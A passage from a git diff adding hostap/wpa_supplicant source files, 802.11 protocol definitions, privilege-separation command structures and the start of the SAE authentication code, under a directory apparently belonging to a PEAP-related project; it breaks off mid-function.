+#define HT_INFO_OPERATION_MODE_OP_MODE_MASK \ + (0x0001 | 0x0002) +#define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0 +#define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2)) +#define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3)) +#define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4)) + +#define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6)) +#define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7)) +#define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8)) +#define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9)) +#define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10)) +#define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11)) + +#define BSS_MEMBERSHIP_SELECTOR_VHT_PHY 126 +#define BSS_MEMBERSHIP_SELECTOR_HT_PHY 127 + +/* VHT Defines */ +#define VHT_CAP_MAX_MPDU_LENGTH_7991 ((u32) BIT(0)) +#define VHT_CAP_MAX_MPDU_LENGTH_11454 ((u32) BIT(1)) +#define VHT_CAP_MAX_MPDU_LENGTH_MASK ((u32) BIT(0) | BIT(1)) +#define VHT_CAP_SUPP_CHAN_WIDTH_160MHZ ((u32) BIT(2)) +#define VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ ((u32) BIT(3)) +#define VHT_CAP_SUPP_CHAN_WIDTH_MASK ((u32) BIT(2) | BIT(3)) +#define VHT_CAP_RXLDPC ((u32) BIT(4)) +#define VHT_CAP_SHORT_GI_80 ((u32) BIT(5)) +#define VHT_CAP_SHORT_GI_160 ((u32) BIT(6)) +#define VHT_CAP_TXSTBC ((u32) BIT(7)) +#define VHT_CAP_RXSTBC_1 ((u32) BIT(8)) +#define VHT_CAP_RXSTBC_2 ((u32) BIT(9)) +#define VHT_CAP_RXSTBC_3 ((u32) BIT(8) | BIT(9)) +#define VHT_CAP_RXSTBC_4 ((u32) BIT(10)) +#define VHT_CAP_RXSTBC_MASK ((u32) BIT(8) | BIT(9) | \ + BIT(10)) +#define VHT_CAP_SU_BEAMFORMER_CAPABLE ((u32) BIT(11)) +#define VHT_CAP_SU_BEAMFORMEE_CAPABLE ((u32) BIT(12)) +#define VHT_CAP_BEAMFORMEE_STS_MAX ((u32) BIT(13) | \ + BIT(14) | BIT(15)) +#define VHT_CAP_BEAMFORMEE_STS_OFFSET 13 +#define VHT_CAP_SOUNDING_DIMENSION_MAX ((u32) BIT(16) | \ + BIT(17) | BIT(18)) +#define VHT_CAP_SOUNDING_DIMENSION_OFFSET 16 +#define VHT_CAP_MU_BEAMFORMER_CAPABLE ((u32) BIT(19)) +#define VHT_CAP_MU_BEAMFORMEE_CAPABLE ((u32) BIT(20)) +#define VHT_CAP_VHT_TXOP_PS ((u32) BIT(21)) +#define VHT_CAP_HTC_VHT ((u32) BIT(22)) +#define VHT_CAP_MAX_A_MPDU_LENGTH_EXPONENT ((u32) BIT(23) | \ + BIT(24) | BIT(25)) +#define VHT_CAP_VHT_LINK_ADAPTATION_VHT_UNSOL_MFB ((u32) BIT(27)) +#define VHT_CAP_VHT_LINK_ADAPTATION_VHT_MRQ_MFB ((u32) BIT(26) | BIT(27)) +#define VHT_CAP_RX_ANTENNA_PATTERN ((u32) BIT(28)) +#define VHT_CAP_TX_ANTENNA_PATTERN ((u32) BIT(29)) + +/* VHT channel widths */ +#define VHT_CHANWIDTH_USE_HT 0 +#define VHT_CHANWIDTH_80MHZ 1 +#define VHT_CHANWIDTH_160MHZ 2 +#define VHT_CHANWIDTH_80P80MHZ 3 + +#define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs) + * 00:50:F2 */ +#define WPA_IE_VENDOR_TYPE 0x0050f201 +#define WPS_IE_VENDOR_TYPE 0x0050f204 +#define OUI_WFA 0x506f9a +#define P2P_IE_VENDOR_TYPE 0x506f9a09 +#define WFD_IE_VENDOR_TYPE 0x506f9a0a +#define WFD_OUI_TYPE 10 +#define HS20_IE_VENDOR_TYPE 0x506f9a10 + +#define WMM_OUI_TYPE 2 +#define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0 +#define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1 +#define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2 +#define WMM_VERSION 1 + +#define WMM_ACTION_CODE_ADDTS_REQ 0 +#define WMM_ACTION_CODE_ADDTS_RESP 1 +#define WMM_ACTION_CODE_DELTS 2 + +#define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0 +#define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1 +/* 2 - Reserved */ +#define WMM_ADDTS_STATUS_REFUSED 3 +/* 4-255 - Reserved */ + +/* WMM TSPEC Direction Field Values */ +#define WMM_TSPEC_DIRECTION_UPLINK 0 +#define WMM_TSPEC_DIRECTION_DOWNLINK 1 +/* 2 - Reserved */ +#define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3 + +/* + * WMM Information Element (used in (Re)Association Request frames; may also be + * used in Beacon frames) + */ +struct wmm_information_element { + /* Element ID: 221 (0xdd); Length: 7 */ + /* required fields for WMM version 1 */ + u8 oui[3]; /* 00:50:f2 */ + u8 oui_type; /* 2 */ + u8 oui_subtype; /* 0 */ + u8 version; /* 1 for WMM version 1.0 */ + u8 qos_info; /* AP/STA specific QoS info */ + +} STRUCT_PACKED; + +#define WMM_QOSINFO_STA_AC_MASK 0x0f +#define WMM_QOSINFO_STA_SP_MASK 0x03 +#define WMM_QOSINFO_STA_SP_SHIFT 5 + +#define WMM_AC_AIFSN_MASK 0x0f +#define WMM_AC_AIFNS_SHIFT 0 +#define WMM_AC_ACM 0x10 +#define WMM_AC_ACI_MASK 0x60 +#define WMM_AC_ACI_SHIFT 5 + +#define WMM_AC_ECWMIN_MASK 0x0f +#define WMM_AC_ECWMIN_SHIFT 0 +#define WMM_AC_ECWMAX_MASK 0xf0 +#define WMM_AC_ECWMAX_SHIFT 4 + +struct wmm_ac_parameter { + u8 aci_aifsn; /* AIFSN, ACM, ACI */ + u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */ + le16 txop_limit; +} STRUCT_PACKED; + +/* + * WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association + * Response frmaes) + */ +struct wmm_parameter_element { + /* Element ID: 221 (0xdd); Length: 24 */ + /* required fields for WMM version 1 */ + u8 oui[3]; /* 00:50:f2 */ + u8 oui_type; /* 2 */ + u8 oui_subtype; /* 1 */ + u8 version; /* 1 for WMM version 1.0 */ + u8 qos_info; /* AP/STA specific QoS info */ + u8 reserved; /* 0 */ + struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */ + +} STRUCT_PACKED; + +/* WMM TSPEC Element */ +struct wmm_tspec_element { + u8 eid; /* 221 = 0xdd */ + u8 length; /* 6 + 55 = 61 */ + u8 oui[3]; /* 00:50:f2 */ + u8 oui_type; /* 2 */ + u8 oui_subtype; /* 2 */ + u8 version; /* 1 */ + /* WMM TSPEC body (55 octets): */ + u8 ts_info[3]; + le16 nominal_msdu_size; + le16 maximum_msdu_size; + le32 minimum_service_interval; + le32 maximum_service_interval; + le32 inactivity_interval; + le32 suspension_interval; + le32 service_start_time; + le32 minimum_data_rate; + le32 mean_data_rate; + le32 peak_data_rate; + le32 maximum_burst_size; + le32 delay_bound; + le32 minimum_phy_rate; + le16 surplus_bandwidth_allowance; + le16 medium_time; +} STRUCT_PACKED; + + +/* Access Categories / ACI to AC coding */ +enum { + WMM_AC_BE = 0 /* Best Effort */, + WMM_AC_BK = 1 /* Background */, + WMM_AC_VI = 2 /* Video */, + WMM_AC_VO = 3 /* Voice */ +}; + + +#define HS20_INDICATION_OUI_TYPE 16 +#define HS20_ANQP_OUI_TYPE 17 +#define HS20_STYPE_QUERY_LIST 1 +#define HS20_STYPE_CAPABILITY_LIST 2 +#define HS20_STYPE_OPERATOR_FRIENDLY_NAME 3 +#define HS20_STYPE_WAN_METRICS 4 +#define HS20_STYPE_CONNECTION_CAPABILITY 5 +#define HS20_STYPE_NAI_HOME_REALM_QUERY 6 +#define HS20_STYPE_OPERATING_CLASS 7 + +/* Wi-Fi Direct (P2P) */ + +#define P2P_OUI_TYPE 9 + +enum p2p_attr_id { + P2P_ATTR_STATUS = 0, + P2P_ATTR_MINOR_REASON_CODE = 1, + P2P_ATTR_CAPABILITY = 2, + P2P_ATTR_DEVICE_ID = 3, + P2P_ATTR_GROUP_OWNER_INTENT = 4, + P2P_ATTR_CONFIGURATION_TIMEOUT = 5, + P2P_ATTR_LISTEN_CHANNEL = 6, + P2P_ATTR_GROUP_BSSID = 7, + P2P_ATTR_EXT_LISTEN_TIMING = 8, + P2P_ATTR_INTENDED_INTERFACE_ADDR = 9, + P2P_ATTR_MANAGEABILITY = 10, + P2P_ATTR_CHANNEL_LIST = 11, + P2P_ATTR_NOTICE_OF_ABSENCE = 12, + P2P_ATTR_DEVICE_INFO = 13, + P2P_ATTR_GROUP_INFO = 14, + P2P_ATTR_GROUP_ID = 15, + P2P_ATTR_INTERFACE = 16, + P2P_ATTR_OPERATING_CHANNEL = 17, + P2P_ATTR_INVITATION_FLAGS = 18, + P2P_ATTR_VENDOR_SPECIFIC = 221 +}; + +#define P2P_MAX_GO_INTENT 15 + +/* P2P Capability - Device Capability bitmap */ +#define P2P_DEV_CAPAB_SERVICE_DISCOVERY BIT(0) +#define P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY BIT(1) +#define P2P_DEV_CAPAB_CONCURRENT_OPER BIT(2) +#define P2P_DEV_CAPAB_INFRA_MANAGED BIT(3) +#define P2P_DEV_CAPAB_DEVICE_LIMIT BIT(4) +#define P2P_DEV_CAPAB_INVITATION_PROCEDURE BIT(5) + +/* P2P Capability - Group Capability bitmap */ +#define P2P_GROUP_CAPAB_GROUP_OWNER BIT(0) +#define P2P_GROUP_CAPAB_PERSISTENT_GROUP BIT(1) +#define P2P_GROUP_CAPAB_GROUP_LIMIT BIT(2) +#define P2P_GROUP_CAPAB_INTRA_BSS_DIST BIT(3) +#define P2P_GROUP_CAPAB_CROSS_CONN BIT(4) +#define P2P_GROUP_CAPAB_PERSISTENT_RECONN BIT(5) +#define P2P_GROUP_CAPAB_GROUP_FORMATION BIT(6) + +/* Invitation Flags */ +#define P2P_INVITATION_FLAGS_TYPE BIT(0) + +/* P2P Manageability */ +#define P2P_MAN_DEVICE_MANAGEMENT BIT(0) +#define P2P_MAN_CROSS_CONNECTION_PERMITTED BIT(1) +#define P2P_MAN_COEXISTENCE_OPTIONAL BIT(2) + +enum p2p_status_code { + P2P_SC_SUCCESS = 0, + P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE = 1, + P2P_SC_FAIL_INCOMPATIBLE_PARAMS = 2, + P2P_SC_FAIL_LIMIT_REACHED = 3, + P2P_SC_FAIL_INVALID_PARAMS = 4, + P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE = 5, + P2P_SC_FAIL_PREV_PROTOCOL_ERROR = 6, + P2P_SC_FAIL_NO_COMMON_CHANNELS = 7, + P2P_SC_FAIL_UNKNOWN_GROUP = 8, + P2P_SC_FAIL_BOTH_GO_INTENT_15 = 9, + P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD = 10, + P2P_SC_FAIL_REJECTED_BY_USER = 11, +}; + +#define P2P_WILDCARD_SSID "DIRECT-" +#define P2P_WILDCARD_SSID_LEN 7 + +/* P2P action frames */ +enum p2p_act_frame_type { + P2P_NOA = 0, + P2P_PRESENCE_REQ = 1, + P2P_PRESENCE_RESP = 2, + P2P_GO_DISC_REQ = 3 +}; + +/* P2P public action frames */ +enum p2p_action_frame_type { + P2P_GO_NEG_REQ = 0, + P2P_GO_NEG_RESP = 1, + P2P_GO_NEG_CONF = 2, + P2P_INVITATION_REQ = 3, + P2P_INVITATION_RESP = 4, + P2P_DEV_DISC_REQ = 5, + P2P_DEV_DISC_RESP = 6, + P2P_PROV_DISC_REQ = 7, + P2P_PROV_DISC_RESP = 8 +}; + +enum p2p_service_protocol_type { + P2P_SERV_ALL_SERVICES = 0, + P2P_SERV_BONJOUR = 1, + P2P_SERV_UPNP = 2, + P2P_SERV_WS_DISCOVERY = 3, + P2P_SERV_WIFI_DISPLAY = 4, + P2P_SERV_VENDOR_SPECIFIC = 255 +}; + +enum p2p_sd_status { + P2P_SD_SUCCESS = 0, + P2P_SD_PROTO_NOT_AVAILABLE = 1, + P2P_SD_REQUESTED_INFO_NOT_AVAILABLE = 2, + P2P_SD_BAD_REQUEST = 3 +}; + + +enum wifi_display_subelem { + WFD_SUBELEM_DEVICE_INFO = 0, + WFD_SUBELEM_ASSOCIATED_BSSID = 1, + WFD_SUBELEM_AUDIO_FORMATS = 2, + WFD_SUBELEM_VIDEO_FORMATS = 3, + WFD_SUBELEM_3D_VIDEO_FORMATS = 4, + WFD_SUBELEM_CONTENT_PROTECTION = 5, + WFD_SUBELEM_COUPLED_SINK = 6, + WFD_SUBELEM_EXT_CAPAB = 7, + WFD_SUBELEM_LOCAL_IP_ADDRESS = 8, + WFD_SUBELEM_SESSION_INFO = 9 +}; + + +#define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */ + +#define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */ + +/* cipher suite selectors */ +#define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00 +#define WLAN_CIPHER_SUITE_WEP40 0x000FAC01 +#define WLAN_CIPHER_SUITE_TKIP 0x000FAC02 +/* reserved: 0x000FAC03 */ +#define WLAN_CIPHER_SUITE_CCMP 0x000FAC04 +#define WLAN_CIPHER_SUITE_WEP104 0x000FAC05 +#define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06 +#define WLAN_CIPHER_SUITE_NO_GROUP_ADDR 0x000FAC07 +#define WLAN_CIPHER_SUITE_GCMP 0x000FAC08 + +#define WLAN_CIPHER_SUITE_SMS4 0x00147201 + +#define WLAN_CIPHER_SUITE_CKIP 0x00409600 +#define WLAN_CIPHER_SUITE_CKIP_CMIC 0x00409601 +#define WLAN_CIPHER_SUITE_CMIC 0x00409602 +#define WLAN_CIPHER_SUITE_KRK 0x004096FF /* for nl80211 use only */ + +/* AKM suite selectors */ +#define WLAN_AKM_SUITE_8021X 0x000FAC01 +#define WLAN_AKM_SUITE_PSK 0x000FAC02 +#define WLAN_AKM_SUITE_FT_8021X 0x000FAC03 +#define WLAN_AKM_SUITE_FT_PSK 0x000FAC04 +#define WLAN_AKM_SUITE_CCKM 0x00409600 + + +/* IEEE 802.11v - WNM Action field values */ +enum wnm_action { + WNM_EVENT_REQ = 0, + WNM_EVENT_REPORT = 1, + WNM_DIAGNOSTIC_REQ = 2, + WNM_DIAGNOSTIC_REPORT = 3, + WNM_LOCATION_CFG_REQ = 4, + WNM_LOCATION_CFG_RESP = 5, + WNM_BSS_TRANS_MGMT_QUERY = 6, + WNM_BSS_TRANS_MGMT_REQ = 7, + WNM_BSS_TRANS_MGMT_RESP = 8, + WNM_FMS_REQ = 9, + WNM_FMS_RESP = 10, + WNM_COLLOCATED_INTERFERENCE_REQ = 11, + WNM_COLLOCATED_INTERFERENCE_REPORT = 12, + WNM_TFS_REQ = 13, + WNM_TFS_RESP = 14, + WNM_TFS_NOTIFY = 15, + WNM_SLEEP_MODE_REQ = 16, + WNM_SLEEP_MODE_RESP = 17, + WNM_TIM_BROADCAST_REQ = 18, + WNM_TIM_BROADCAST_RESP = 19, + WNM_QOS_TRAFFIC_CAPAB_UPDATE = 20, + WNM_CHANNEL_USAGE_REQ = 21, + WNM_CHANNEL_USAGE_RESP = 22, + WNM_DMS_REQ = 23, + WNM_DMS_RESP = 24, + WNM_TIMING_MEASUREMENT_REQ = 25, + WNM_NOTIFICATION_REQ = 26, + WNM_NOTIFICATION_RESP = 27 +}; + +/* IEEE 802.11v - BSS Transition Management Request - Request Mode */ +#define WNM_BSS_TM_REQ_PREF_CAND_LIST_INCLUDED BIT(0) +#define WNM_BSS_TM_REQ_ABRIDGED BIT(1) +#define WNM_BSS_TM_REQ_DISASSOC_IMMINENT BIT(2) +#define WNM_BSS_TM_REQ_BSS_TERMINATION_INCLUDED BIT(3) +#define WNM_BSS_TM_REQ_ESS_DISASSOC_IMMINENT BIT(4) + +/* IEEE Std 802.11-2012 - Table 8-253 */ +enum bss_trans_mgmt_status_code { + WNM_BSS_TM_ACCEPT = 0, + WNM_BSS_TM_REJECT_UNSPECIFIED = 1, + WNM_BSS_TM_REJECT_INSUFFICIENT_BEACON = 2, + WNM_BSS_TM_REJECT_INSUFFICIENT_CAPABITY = 3, + WNM_BSS_TM_REJECT_UNDESIRED = 4, + WNM_BSS_TM_REJECT_DELAY_REQUEST = 5, + WNM_BSS_TM_REJECT_STA_CANDIDATE_LIST_PROVIDED = 6, + WNM_BSS_TM_REJECT_NO_SUITABLE_CANDIDATES = 7, + WNM_BSS_TM_REJECT_LEAVING_ESS = 8 +}; + +#define WNM_NEIGHBOR_TSF 1 +#define WNM_NEIGHBOR_CONDENSED_COUNTRY_STRING 2 +#define WNM_NEIGHBOR_BSS_TRANSITION_CANDIDATE 3 +#define WNM_NEIGHBOR_BSS_TERMINATION_DURATION 4 +#define WNM_NEIGHBOR_BEARING 5 +#define WNM_NEIGHBOR_MEASUREMENT_PILOT 66 +#define WNM_NEIGHBOR_RRM_ENABLED_CAPABILITIES 70 +#define WNM_NEIGHBOR_MULTIPLE_BSSID 71 + +/* QoS action */ +enum qos_action { + QOS_ADDTS_REQ = 0, + QOS_ADDTS_RESP = 1, + QOS_DELTS = 2, + QOS_SCHEDULE = 3, + QOS_QOS_MAP_CONFIG = 4, +}; + +/* IEEE Std 802.11-2012, 8.4.2.62 20/40 BSS Coexistence element */ +#define WLAN_20_40_BSS_COEX_INFO_REQ BIT(0) +#define WLAN_20_40_BSS_COEX_40MHZ_INTOL BIT(1) +#define WLAN_20_40_BSS_COEX_20MHZ_WIDTH_REQ BIT(2) +#define WLAN_20_40_BSS_COEX_OBSS_EXEMPT_REQ BIT(3) +#define WLAN_20_40_BSS_COEX_OBSS_EXEMPT_GRNT BIT(4) + +struct ieee80211_2040_bss_coex_ie { + u8 element_id; + u8 length; + u8 coex_param; +} STRUCT_PACKED; + +struct ieee80211_2040_intol_chan_report { + u8 element_id; + u8 length; + u8 op_class; + u8 variable[0]; /* Channel List */ +} STRUCT_PACKED; + +/* IEEE 802.11v - WNM-Sleep Mode element */ +struct wnm_sleep_element { + u8 eid; /* WLAN_EID_WNMSLEEP */ + u8 len; + u8 action_type; /* WNM_SLEEP_ENTER/WNM_SLEEP_MODE_EXIT */ + u8 status; + le16 intval; +} STRUCT_PACKED; + +#define WNM_SLEEP_MODE_ENTER 0 +#define WNM_SLEEP_MODE_EXIT 1 + +enum wnm_sleep_mode_response_status { + WNM_STATUS_SLEEP_ACCEPT = 0, + WNM_STATUS_SLEEP_EXIT_ACCEPT_GTK_UPDATE = 1, + WNM_STATUS_DENIED_ACTION = 2, + WNM_STATUS_DENIED_TMP = 3, + WNM_STATUS_DENIED_KEY = 4, + WNM_STATUS_DENIED_OTHER_WNM_SERVICE = 5 +}; + +/* WNM-Sleep Mode subelement IDs */ +enum wnm_sleep_mode_subelement_id { + WNM_SLEEP_SUBELEM_GTK = 0, + WNM_SLEEP_SUBELEM_IGTK = 1 +}; + +/* Channel Switch modes (802.11h) */ +#define CHAN_SWITCH_MODE_ALLOW_TX 0 +#define CHAN_SWITCH_MODE_BLOCK_TX 1 + +#endif /* IEEE802_11_DEFS_H */ diff --git a/peapwn/mods/hostap/src/common/privsep_commands.h b/peapwn/mods/hostap/src/common/privsep_commands.h new file mode 100644 index 000000000..858b51d38 --- /dev/null +++ b/peapwn/mods/hostap/src/common/privsep_commands.h @@ -0,0 +1,69 @@ +/* + * WPA Supplicant - privilege separation commands + * Copyright (c) 2007-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PRIVSEP_COMMANDS_H +#define PRIVSEP_COMMANDS_H + +enum privsep_cmd { + PRIVSEP_CMD_REGISTER, + PRIVSEP_CMD_UNREGISTER, + PRIVSEP_CMD_SCAN, + PRIVSEP_CMD_GET_SCAN_RESULTS, + PRIVSEP_CMD_ASSOCIATE, + PRIVSEP_CMD_GET_BSSID, + PRIVSEP_CMD_GET_SSID, + PRIVSEP_CMD_SET_KEY, + PRIVSEP_CMD_GET_CAPA, + PRIVSEP_CMD_L2_REGISTER, + PRIVSEP_CMD_L2_UNREGISTER, + PRIVSEP_CMD_L2_NOTIFY_AUTH_START, + PRIVSEP_CMD_L2_SEND, + PRIVSEP_CMD_SET_COUNTRY, +}; + +struct privsep_cmd_associate +{ + u8 bssid[ETH_ALEN]; + u8 ssid[32]; + size_t ssid_len; + int freq; + int pairwise_suite; + int group_suite; + int key_mgmt_suite; + int auth_alg; + int mode; + size_t wpa_ie_len; + /* followed by wpa_ie_len bytes of wpa_ie */ +}; + +struct privsep_cmd_set_key +{ + int alg; + u8 addr[ETH_ALEN]; + int key_idx; + int set_tx; + u8 seq[8]; + size_t seq_len; + u8 key[32]; + size_t key_len; +}; + +enum privsep_event { + PRIVSEP_EVENT_SCAN_RESULTS, + PRIVSEP_EVENT_ASSOC, + PRIVSEP_EVENT_DISASSOC, + PRIVSEP_EVENT_ASSOCINFO, + PRIVSEP_EVENT_MICHAEL_MIC_FAILURE, + PRIVSEP_EVENT_INTERFACE_STATUS, + PRIVSEP_EVENT_PMKID_CANDIDATE, + PRIVSEP_EVENT_STKSTART, + PRIVSEP_EVENT_FT_RESPONSE, + PRIVSEP_EVENT_RX_EAPOL, +}; + +#endif /* PRIVSEP_COMMANDS_H */ diff --git a/peapwn/mods/hostap/src/common/sae.c b/peapwn/mods/hostap/src/common/sae.c new file mode 100644 index 000000000..4e9e4610e --- /dev/null +++ b/peapwn/mods/hostap/src/common/sae.c @@ -0,0 +1,1042 @@ +/* + * Simultaneous authentication of equals + * Copyright (c) 2012-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "crypto/dh_groups.h" +#include "ieee802_11_defs.h" +#include "sae.h" + + +int sae_set_group(struct sae_data *sae, int group) +{ + struct sae_temporary_data *tmp; + + sae_clear_data(sae); + tmp = sae->tmp = os_zalloc(sizeof(*tmp)); + if (tmp == NULL) + return -1; + + /* First, check if this is an ECC group */ + tmp->ec = crypto_ec_init(group); + if (tmp->ec) { + sae->group = group; + tmp->prime_len = crypto_ec_prime_len(tmp->ec); + tmp->prime = crypto_ec_get_prime(tmp->ec); + tmp->order = crypto_ec_get_order(tmp->ec); + return 0; + } + + /* Not an ECC group, check FFC */ + tmp->dh = dh_groups_get(group); + if (tmp->dh) { + sae->group = group; + tmp->prime_len = tmp->dh->prime_len; + if (tmp->prime_len > SAE_MAX_PRIME_LEN) { + sae_clear_data(sae); + return -1; + } + + tmp->prime_buf = crypto_bignum_init_set(tmp->dh->prime, + tmp->prime_len); + if (tmp->prime_buf == NULL) { + sae_clear_data(sae); + return -1; + } + tmp->prime = tmp->prime_buf; + + tmp->order_buf = crypto_bignum_init_set(tmp->dh->order, + tmp->dh->order_len); + if (tmp->order_buf == NULL) { + sae_clear_data(sae); + return -1; + } + tmp->order = tmp->order_buf; + + return 0; + } + + /* Unsupported group */ + return -1; +} + + +void sae_clear_temp_data(struct sae_data *sae) +{ + struct sae_temporary_data *tmp; + if (sae == NULL || sae->tmp == NULL) + return; + tmp = sae->tmp; + crypto_ec_deinit(tmp->ec); + crypto_bignum_deinit(tmp->prime_buf, 0); + crypto_bignum_deinit(tmp->order_buf, 0); + crypto_bignum_deinit(tmp->sae_rand, 1); + crypto_bignum_deinit(tmp->pwe_ffc, 1); + crypto_bignum_deinit(tmp->own_commit_scalar, 0); + crypto_bignum_deinit(tmp->own_commit_element_ffc, 0); + crypto_bignum_deinit(tmp->peer_commit_element_ffc, 0); + crypto_ec_point_deinit(tmp->pwe_ecc, 1); + crypto_ec_point_deinit(tmp->own_commit_element_ecc, 0); + crypto_ec_point_deinit(tmp->peer_commit_element_ecc, 0); + os_free(sae->tmp); + sae->tmp = NULL; +} + + +void sae_clear_data(struct sae_data *sae) +{ + if (sae == NULL) + return; + sae_clear_temp_data(sae); + crypto_bignum_deinit(sae->peer_commit_scalar, 0); + os_memset(sae, 0, sizeof(*sae)); +} + + +static void buf_shift_right(u8 *buf, size_t len, size_t bits) +{ + size_t i; + for (i = len - 1; i > 0; i--) + buf[i] = (buf[i - 1] << (8 - bits)) | (buf[i] >> bits); + buf[0] >>= bits; +} + + +static struct crypto_bignum * sae_get_rand(struct sae_data *sae) +{ + u8 val[SAE_MAX_PRIME_LEN]; + int iter = 0; + struct crypto_bignum *bn = NULL; + int order_len_bits = crypto_bignum_bits(sae->tmp->order); + size_t order_len = (order_len_bits + 7) / 8; + + if (order_len > sizeof(val)) + return NULL; + + for (;;) { + if (iter++ > 100) + return NULL; + if (random_get_bytes(val, order_len) < 0) + return NULL; + if (order_len_bits % 8) + buf_shift_right(val, order_len, 8 - order_len_bits % 8); + bn = crypto_bignum_init_set(val, order_len); + if (bn == NULL) + return NULL; + if (crypto_bignum_is_zero(bn) || + crypto_bignum_is_one(bn) || + crypto_bignum_cmp(bn, sae->tmp->order) >= 0) + continue; + break; + } + + os_memset(val, 0, order_len); + return bn; +} + + +static struct crypto_bignum * sae_get_rand_and_mask(struct sae_data *sae) +{ + crypto_bignum_deinit(sae->tmp->sae_rand, 1); + sae->tmp->sae_rand = sae_get_rand(sae); + if (sae->tmp->sae_rand == NULL) + return NULL; + return sae_get_rand(sae); +} + + +static void sae_pwd_seed_key(const u8 *addr1, const u8 *addr2, u8 *key) +{ + wpa_printf(MSG_DEBUG, "SAE: PWE derivation - addr1=" MACSTR + " addr2=" MACSTR, MAC2STR(addr1), MAC2STR(addr2)); + if (os_memcmp(addr1, addr2, ETH_ALEN) > 0) { + os_memcpy(key, addr1, ETH_ALEN); + os_memcpy(key + ETH_ALEN, addr2, ETH_ALEN); + } else { + os_memcpy(key, addr2, ETH_ALEN); + os_memcpy(key + ETH_ALEN, addr1, ETH_ALEN); + } +} + + +static int sae_test_pwd_seed_ecc(struct sae_data *sae, const u8 *pwd_seed, + struct crypto_ec_point *pwe) +{ + u8 pwd_value[SAE_MAX_ECC_PRIME_LEN], prime[SAE_MAX_ECC_PRIME_LEN]; + struct crypto_bignum *x; + int y_bit; + size_t bits; + + if (crypto_bignum_to_bin(sae->tmp->prime, prime, sizeof(prime), + sae->tmp->prime_len) < 0) + return -1; + + wpa_hexdump_key(MSG_DEBUG, "SAE: pwd-seed", pwd_seed, SHA256_MAC_LEN); + + /* pwd-value = KDF-z(pwd-seed, "SAE Hunting and Pecking", p) */ + bits = crypto_ec_prime_len_bits(sae->tmp->ec); + sha256_prf_bits(pwd_seed, SHA256_MAC_LEN, "SAE Hunting and Pecking", + prime, sae->tmp->prime_len, pwd_value, bits); + if (bits % 8) + buf_shift_right(pwd_value, sizeof(pwd_value), 8 - bits % 8); + wpa_hexdump_key(MSG_DEBUG, "SAE: pwd-value", + pwd_value, sae->tmp->prime_len); + + if (os_memcmp(pwd_value, prime, sae->tmp->prime_len) >= 0) + return 0; + + y_bit = pwd_seed[SHA256_MAC_LEN - 1] & 0x01; + + x = crypto_bignum_init_set(pwd_value, sae->tmp->prime_len); + if (x == NULL) + return -1; + if (crypto_ec_point_solve_y_coord(sae->tmp->ec, pwe, x, y_bit) < 0) { + crypto_bignum_deinit(x, 0); + wpa_printf(MSG_DEBUG, "SAE: No solution found"); + return 0; + } + crypto_bignum_deinit(x, 0); + + wpa_printf(MSG_DEBUG, "SAE: PWE found"); + + return 1; +} + + +static int sae_test_pwd_seed_ffc(struct sae_data *sae, const u8 *pwd_seed, + struct crypto_bignum *pwe) +{ + u8 pwd_value[SAE_MAX_PRIME_LEN]; + size_t bits = sae->tmp->prime_len * 8; + u8 exp[1]; + struct crypto_bignum *a, *b; + int res; + + wpa_hexdump_key(MSG_DEBUG, "SAE: pwd-seed", pwd_seed, SHA256_MAC_LEN); + + /* pwd-value = KDF-z(pwd-seed, "SAE Hunting and Pecking", p) */ + sha256_prf_bits(pwd_seed, SHA256_MAC_LEN, "SAE Hunting and Pecking", + sae->tmp->dh->prime, sae->tmp->prime_len, pwd_value, + bits); + if (bits % 8) + buf_shift_right(pwd_value, sizeof(pwd_value), 8 - bits % 8); + wpa_hexdump_key(MSG_DEBUG, "SAE: pwd-value", pwd_value, + sae->tmp->prime_len); + + if (os_memcmp(pwd_value, sae->tmp->dh->prime, sae->tmp->prime_len) >= 0) + { + wpa_printf(MSG_DEBUG, "SAE: pwd-value >= p"); + return 0; + } + + /* PWE = pwd-value^((p-1)/r) modulo p */ + + a = crypto_bignum_init_set(pwd_value, sae->tmp->prime_len); + + if (sae->tmp->dh->safe_prime) { + /* + * r = (p-1)/2 for the group used here, so this becomes: + * PWE = pwd-value^2 modulo p + */ + exp[0] = 2; + b = crypto_bignum_init_set(exp, sizeof(exp)); + } else { + /* Calculate exponent: (p-1)/r */ + exp[0] = 1; + b = crypto_bignum_init_set(exp, sizeof(exp)); + if (b == NULL || + crypto_bignum_sub(sae->tmp->prime, b, b) < 0 || + crypto_bignum_div(b, sae->tmp->order, b) < 0) { + crypto_bignum_deinit(b, 0); + b = NULL; + } + } + 